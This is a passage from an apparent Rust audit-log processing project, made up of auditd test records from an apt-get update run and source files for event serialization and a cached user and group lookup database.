msg=audit(1654180383.138:299899): item=1 name="/usr/lib/apt/methods/https" inode=420970 dev=fd:01 mode=0120777 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 6 | type=PATH msg=audit(1654180383.138:299899): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 7 | type=EOE msg=audit(1654180383.138:299899): 8 | -------------------------------------------------------------------------------- /src/testdata/tree/04.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1654180383.142:299900): arch=c000003e syscall=59 success=yes exit=0 a0=564c986772f0 a1=7ffc8fdcc240 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722680 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="https" exe="/usr/lib/apt/methods/http" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=EXECVE msg=audit(1654180383.142:299900): argc=1 a0="/usr/lib/apt/methods/https" 3 | type=CWD msg=audit(1654180383.142:299900): cwd="/" 4 | type=PATH msg=audit(1654180383.142:299900): item=0 name="/usr/lib/apt/methods/https" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 5 | type=PATH msg=audit(1654180383.142:299900): item=1 name="/usr/lib/apt/methods/https" inode=420970 dev=fd:01 mode=0120777 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 6 | type=PATH msg=audit(1654180383.142:299900): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 7 | type=EOE msg=audit(1654180383.142:299900): 8 | -------------------------------------------------------------------------------- /src/testdata/tree/05.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1654180383.150:299901): arch=c000003e syscall=59 success=yes exit=0 a0=564c986772f0 a1=7ffc8fdcc240 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722681 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="https" exe="/usr/lib/apt/methods/http" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=EXECVE msg=audit(1654180383.150:299901): argc=1 a0="/usr/lib/apt/methods/https" 3 | type=CWD msg=audit(1654180383.150:299901): cwd="/" 4 | type=PATH msg=audit(1654180383.150:299901): item=0 name="/usr/lib/apt/methods/https" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 5 | type=PATH msg=audit(1654180383.150:299901): item=1 name="/usr/lib/apt/methods/https" inode=420970 dev=fd:01 mode=0120777 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 6 | type=PATH msg=audit(1654180383.150:299901): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 7 | type=EOE msg=audit(1654180383.150:299901): 8 | -------------------------------------------------------------------------------- /src/testdata/tree/06.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1654180383.158:299902): arch=c000003e syscall=59 success=yes exit=0 a0=564c986772f0 a1=7ffc8fdcc240 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722682 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="http" exe="/usr/lib/apt/methods/http" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=EXECVE msg=audit(1654180383.158:299902): argc=1 a0="/usr/lib/apt/methods/http" 3 | type=CWD msg=audit(1654180383.158:299902): cwd="/" 4 | type=PATH msg=audit(1654180383.158:299902): item=0 name="/usr/lib/apt/methods/http" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 5 | type=PATH msg=audit(1654180383.158:299902): item=1 name="/usr/lib/apt/methods/http" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 6 | type=PATH msg=audit(1654180383.158:299902): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 7 | type=EOE msg=audit(1654180383.158:299902): 8 | -------------------------------------------------------------------------------- /src/testdata/tree/07.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1654180383.270:299914): arch=c000003e syscall=59 success=yes exit=0 a0=564c986201b0 a1=7ffc8fdcbb30 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722689 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="gpgv" exe="/usr/lib/apt/methods/gpgv" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=EXECVE msg=audit(1654180383.270:299914): argc=1 a0="/usr/lib/apt/methods/gpgv" 3 | type=CWD msg=audit(1654180383.270:299914): cwd="/" 4 | type=PATH msg=audit(1654180383.270:299914): item=0 name="/usr/lib/apt/methods/gpgv" inode=394272 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 5 | type=PATH msg=audit(1654180383.270:299914): item=1 name="/usr/lib/apt/methods/gpgv" inode=394272 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 6 | type=PATH msg=audit(1654180383.270:299914): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 7 | type=EOE msg=audit(1654180383.270:299914): 8 | -------------------------------------------------------------------------------- /src/testdata/tree/08.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1654180383.278:299915): arch=c000003e syscall=59 success=yes exit=0 a0=564c986201b0 a1=7ffc8fdcbd40 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722691 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="gpgv" exe="/usr/lib/apt/methods/gpgv" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=EXECVE msg=audit(1654180383.278:299915): argc=1 a0="/usr/lib/apt/methods/gpgv" 3 | type=CWD msg=audit(1654180383.278:299915): cwd="/" 4 | type=PATH msg=audit(1654180383.278:299915): item=0 name="/usr/lib/apt/methods/gpgv" inode=394272 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 5 | type=PATH msg=audit(1654180383.278:299915): item=1 name="/usr/lib/apt/methods/gpgv" inode=394272 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 6 | type=PATH msg=audit(1654180383.278:299915): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 7 | type=EOE msg=audit(1654180383.278:299915): 8 | -------------------------------------------------------------------------------- /src/testdata/tree/09.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1654180385.230:300272): arch=c000003e syscall=59 success=yes exit=0 a0=564c9884c3c0 a1=7ffc8fdcb810 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=723173 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="rred" exe="/usr/lib/apt/methods/rred" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=EXECVE msg=audit(1654180385.230:300272): argc=1 a0="/usr/lib/apt/methods/rred" 3 | type=CWD msg=audit(1654180385.230:300272): cwd="/" 4 | type=PATH msg=audit(1654180385.230:300272): item=0 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 5 | type=PATH msg=audit(1654180385.230:300272): item=1 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 6 | type=PATH msg=audit(1654180385.230:300272): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 7 | type=EOE msg=audit(1654180385.230:300272): 8 | -------------------------------------------------------------------------------- /src/testdata/tree/10.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1654180385.238:300274): arch=c000003e syscall=59 success=yes exit=0 a0=564c9884c3c0 a1=7ffc8fdcba20 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=723175 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="rred" exe="/usr/lib/apt/methods/rred" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=EXECVE msg=audit(1654180385.238:300274): argc=1 a0="/usr/lib/apt/methods/rred" 3 | type=CWD msg=audit(1654180385.238:300274): cwd="/" 4 | type=PATH msg=audit(1654180385.238:300274): item=0 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 5 | type=PATH msg=audit(1654180385.238:300274): item=1 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 6 | type=PATH msg=audit(1654180385.238:300274): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 7 | type=EOE msg=audit(1654180385.238:300274): 8 | -------------------------------------------------------------------------------- /src/testdata/tree/11.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1654180385.490:300299): arch=c000003e syscall=59 success=yes exit=0 a0=564c98851150 a1=7ffc8fdcba20 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=723188 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="rred" exe="/usr/lib/apt/methods/rred" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=EXECVE msg=audit(1654180385.490:300299): argc=1 a0="/usr/lib/apt/methods/rred" 3 | type=CWD msg=audit(1654180385.490:300299): cwd="/" 4 | type=PATH msg=audit(1654180385.490:300299): item=0 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 5 | type=PATH msg=audit(1654180385.490:300299): item=1 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 6 | type=PATH msg=audit(1654180385.490:300299): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 7 | type=EOE msg=audit(1654180385.490:300299): 8 | -------------------------------------------------------------------------------- /src/testdata/tree/12.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1654180385.530:300304): arch=c000003e syscall=59 success=yes exit=0 a0=564c98850730 a1=7ffc8fdcba20 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=723190 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="rred" exe="/usr/lib/apt/methods/rred" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=EXECVE msg=audit(1654180385.530:300304): argc=1 a0="/usr/lib/apt/methods/rred" 3 | type=CWD msg=audit(1654180385.530:300304): cwd="/" 4 | type=PATH msg=audit(1654180385.530:300304): item=0 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 5 | type=PATH msg=audit(1654180385.530:300304): item=1 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 6 | type=PATH msg=audit(1654180385.530:300304): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 7 | type=EOE msg=audit(1654180385.530:300304): 8 | -------------------------------------------------------------------------------- /src/testdata/tree/13.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1654180385.638:300341): arch=c000003e syscall=59 success=yes exit=0 a0=564c98851150 a1=7ffc8fdcb770 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=723197 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="store" exe="/usr/lib/apt/methods/store" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=EXECVE msg=audit(1654180385.638:300341): argc=1 a0="/usr/lib/apt/methods/store" 3 | type=CWD msg=audit(1654180385.638:300341): cwd="/" 4 | type=PATH msg=audit(1654180385.638:300341): item=0 name="/usr/lib/apt/methods/store" inode=394277 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 5 | type=PATH msg=audit(1654180385.638:300341): item=1 name="/usr/lib/apt/methods/store" inode=394277 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 6 | type=PATH msg=audit(1654180385.638:300341): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 7 | type=EOE msg=audit(1654180385.638:300341): 8 | -------------------------------------------------------------------------------- /src/testdata/tree/14.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1654180385.646:300342): arch=c000003e syscall=59 success=yes exit=0 a0=564c98851150 a1=7ffc8fdcb980 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=723198 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="store" exe="/usr/lib/apt/methods/store" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=EXECVE msg=audit(1654180385.646:300342): argc=1 a0="/usr/lib/apt/methods/store" 3 | type=CWD msg=audit(1654180385.646:300342): cwd="/" 4 | type=PATH msg=audit(1654180385.646:300342): item=0 name="/usr/lib/apt/methods/store" inode=394277 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 5 | type=PATH msg=audit(1654180385.646:300342): item=1 name="/usr/lib/apt/methods/store" inode=394277 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 6 | type=PATH msg=audit(1654180385.646:300342): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 7 | type=EOE msg=audit(1654180385.646:300342): 8 | -------------------------------------------------------------------------------- /src/testdata/tree/15.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1654180386.754:300393): arch=c000003e syscall=59 success=yes exit=0 a0=564c986288f0 a1=564c98678580 a2=7ffc8fdcce50 a3=7f067c15cc19 items=3 ppid=722676 pid=723219 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="dpkg" exe="/usr/bin/dpkg" subj==unconfined key="pkg_mgmt"ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=EXECVE msg=audit(1654180386.754:300393): argc=2 a0="/usr/bin/dpkg" a1="--print-foreign-architectures" 3 | type=CWD msg=audit(1654180386.754:300393): cwd="/" 4 | type=PATH msg=audit(1654180386.754:300393): item=0 name="/usr/bin/dpkg" inode=394866 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 5 | type=PATH msg=audit(1654180386.754:300393): item=1 name="/usr/bin/dpkg" inode=394866 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 6 | type=PATH msg=audit(1654180386.754:300393): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 7 | type=EOE msg=audit(1654180386.754:300393): 8 | -------------------------------------------------------------------------------- /src/testdata/tree/16.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1654180387.662:300395): arch=c000003e syscall=59 success=yes exit=0 a0=564c9878e5f0 a1=564c98919220 a2=7ffc8fdcce50 a3=7f067c15cc19 items=3 ppid=722676 pid=723222 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="dpkg" exe="/usr/bin/dpkg" subj==unconfined key="pkg_mgmt"ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=EXECVE msg=audit(1654180387.662:300395): argc=2 a0="/usr/bin/dpkg" a1="--print-foreign-architectures" 3 | type=CWD msg=audit(1654180387.662:300395): cwd="/" 4 | type=PATH msg=audit(1654180387.662:300395): item=0 name="/usr/bin/dpkg" inode=394866 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 5 | type=PATH msg=audit(1654180387.662:300395): item=1 name="/usr/bin/dpkg" inode=394866 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 6 | type=PATH msg=audit(1654180387.662:300395): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 7 | type=EOE msg=audit(1654180387.662:300395): 8 | -------------------------------------------------------------------------------- /src/testdata/tree/README.txt: -------------------------------------------------------------------------------- 1 | This series of files represents audit logs from a single "apt-get 2 | update" run. apt-get has been tagged by the Audit subsystem with the 3 | "software_mgmt" key. 4 | -------------------------------------------------------------------------------- /src/types.rs: -------------------------------------------------------------------------------- 1 | use std::fmt::Debug; 2 | 3 | use indexmap::IndexMap; 4 | 5 | use serde::{Deserialize, Serialize, Serializer}; 6 | 7 | use linux_audit_parser::*; 8 | 9 | use crate::proc::ProcessKey; 10 | 11 | /// Collect records in [`EventBody`] context as single or multiple 12 | /// instances. 13 | /// 14 | /// Examples for single instances are `SYSCALL`,`EXECVE` (even if the 15 | /// latter can be split across multiple lines). An example for 16 | /// multiple instances is `PATH`. 17 | /// 18 | /// "Multi" records are serialized as list-of-maps (`[ { "key": 19 | /// "value", … }, { "key": "value", … } … ]`) 20 | #[derive(Debug, Clone, Serialize, Deserialize)] 21 | #[serde(untagged)] 22 | pub enum EventValues<'a> { 23 | // e.g SYSCALL, EXECVE 24 | Single(Body<'a>), 25 | // e.g. PATH 26 | Multi(Vec>), 27 | } 28 | 29 | fn serialize_node(value: &Option>, s: S) -> Result { 30 | serde_bytes::Bytes::new(value.as_ref().unwrap()).serialize(s) 31 | } 32 | 33 | #[derive(Clone, Debug, Serialize, Deserialize)] 34 | #[serde(rename_all = "UPPERCASE")] 35 | pub struct Event<'a> { 36 | pub id: EventID, 37 | #[serde( 38 | skip_serializing_if = "Option::is_none", 39 | serialize_with = "serialize_node" 40 | )] 41 | pub node: Option>, 42 | #[serde(flatten)] 43 | pub body: IndexMap>, 44 | #[serde(skip_serializing_if = "Option::is_none")] 45 | pub container_info: Option>, 46 | #[serde(skip)] 47 | pub is_filtered: bool, 48 | #[serde(skip)] 49 | pub(crate) is_exec: bool, 50 | #[serde(skip)] 51 | pub(crate) process_key: Option, 52 | } 53 | 54 | impl Event<'_> { 55 | pub fn new(node: Option>, id: EventID) -> Self { 56 | Event { 57 | node, 58 | id, 59 | body: IndexMap::with_capacity(5), 60 | container_info: None, 61 | is_filtered: false, 62 | is_exec: false, 63 | process_key: None, 64 | } 65 | } 66 | } 67 | 68 | pub(crate) type NVec = tinyvec::TinyVec<[u8; 14]>; 69 | -------------------------------------------------------------------------------- /src/userdb.rs: -------------------------------------------------------------------------------- 1 | use std::collections::BTreeMap; 2 | use std::ffi::CString; 3 | use std::time::{Duration, SystemTime, UNIX_EPOCH}; 4 | 5 | use serde::{Deserialize, Deserializer, Serialize, Serializer}; 6 | 7 | use tinyvec::TinyVec; 8 | 9 | use nix::unistd::{getgrouplist, Gid, Group, Uid, User}; 10 | 11 | #[derive(Clone, Debug, Serialize, Deserialize)] 12 | struct UserEntry { 13 | name: String, 14 | primary_gid: u32, 15 | secondary_gids: TinyVec<[u32; 8]>, 16 | } 17 | 18 | fn get_user(uid: u32) -> Option { 19 | User::from_uid(Uid::from(uid)).ok()?.map(|user| { 20 | let name = CString::new(user.name.as_bytes()).unwrap(); 21 | let gids = getgrouplist(&name, user.gid) 22 | .unwrap_or_else(|_| vec![]) 23 | .into_iter() 24 | .filter(|gid| *gid != user.gid) 25 | .map(u32::from) 26 | .collect(); 27 | UserEntry { 28 | name: user.name, 29 | primary_gid: user.gid.into(), 30 | secondary_gids: gids, 31 | } 32 | }) 33 | } 34 | 35 | fn get_group(gid: u32) -> Option { 36 | Group::from_gid(Gid::from(gid)) 37 | .ok()? 38 | .map(|group| group.name) 39 | } 40 | 41 | /// A wrapper aruond Systemtime that serializes to / deserializes from 42 | /// Epoch-based second counts 43 | #[derive(Clone, Debug)] 44 | struct EpochTime(SystemTime); 45 | 46 | impl EpochTime { 47 | fn now() -> Self { 48 | EpochTime(SystemTime::now()) 49 | } 50 | } 51 | 52 | impl std::ops::Deref for EpochTime { 53 | type Target = SystemTime; 54 | fn deref(&self) -> &Self::Target { 55 | &self.0 56 | } 57 | } 58 | 59 | impl Serialize for EpochTime { 60 | fn serialize(&self, s: S) -> Result { 61 | s.serialize_u64( 62 | self.duration_since(UNIX_EPOCH) 63 | .unwrap_or(Duration::ZERO) 64 | .as_secs(), 65 | ) 66 | } 67 | } 68 | 69 | impl<'de> Deserialize<'de> for EpochTime { 70 | fn deserialize>(d: D) -> Result { 71 | Ok(EpochTime( 72 | UNIX_EPOCH + Duration::from_secs(u64::deserialize(d)?), 73 | )) 74 | } 75 | } 76 | 77 | /// Implementation of a credentials store that caches user and group 78 | /// lookups by uid and gid, respectively. 79 | #[derive(Debug, Default, Clone, Serialize, Deserialize)] 80 | pub(crate) struct UserDB { 81 | users: BTreeMap, EpochTime)>, 82 | groups: BTreeMap, EpochTime)>, 83 | } 84 | 85 | impl UserDB { 86 | pub fn populate(&mut self) { 87 | for id in 0..1000 { 88 | if let Some(user) = get_user(id) { 89 | self.users.insert(id, (Some(user), EpochTime::now())); 90 | } 91 | if let Some(group) = get_group(id) { 92 | self.groups.insert(id, (Some(group), EpochTime::now())); 93 | } 94 | } 95 | } 96 | fn get_user_entry(&mut self, uid: u32) -> Option { 97 | match self.users.get(&uid) { 98 | Some((entry, t)) if t.elapsed().unwrap_or(Duration::MAX).as_secs() <= 1800 => { 99 | entry.clone() 100 | } 101 | _ => { 102 | let entry = get_user(uid); 103 | self.users.insert(uid, (entry.clone(), EpochTime::now())); 104 | entry 105 | } 106 | } 107 | } 108 | pub fn get_user(&mut self, uid: u32) -> Option { 109 | self.get_user_entry(uid).map(|user| user.name) 110 | } 111 | pub fn get_user_groups(&mut self, uid: u32) -> Option> { 112 | let user = self.get_user_entry(uid)?; 113 | let names = Some(user.primary_gid) 114 | .into_iter() 115 | .chain(user.secondary_gids) 116 | .map(|gid| self.get_group(gid).unwrap_or(format!("#{gid}"))) 117 | .collect(); 118 | Some(names) 119 | } 120 | pub fn get_group(&mut self, gid: u32) -> Option { 121 | match self.groups.get(&gid) { 122 | Some((entry, t)) if 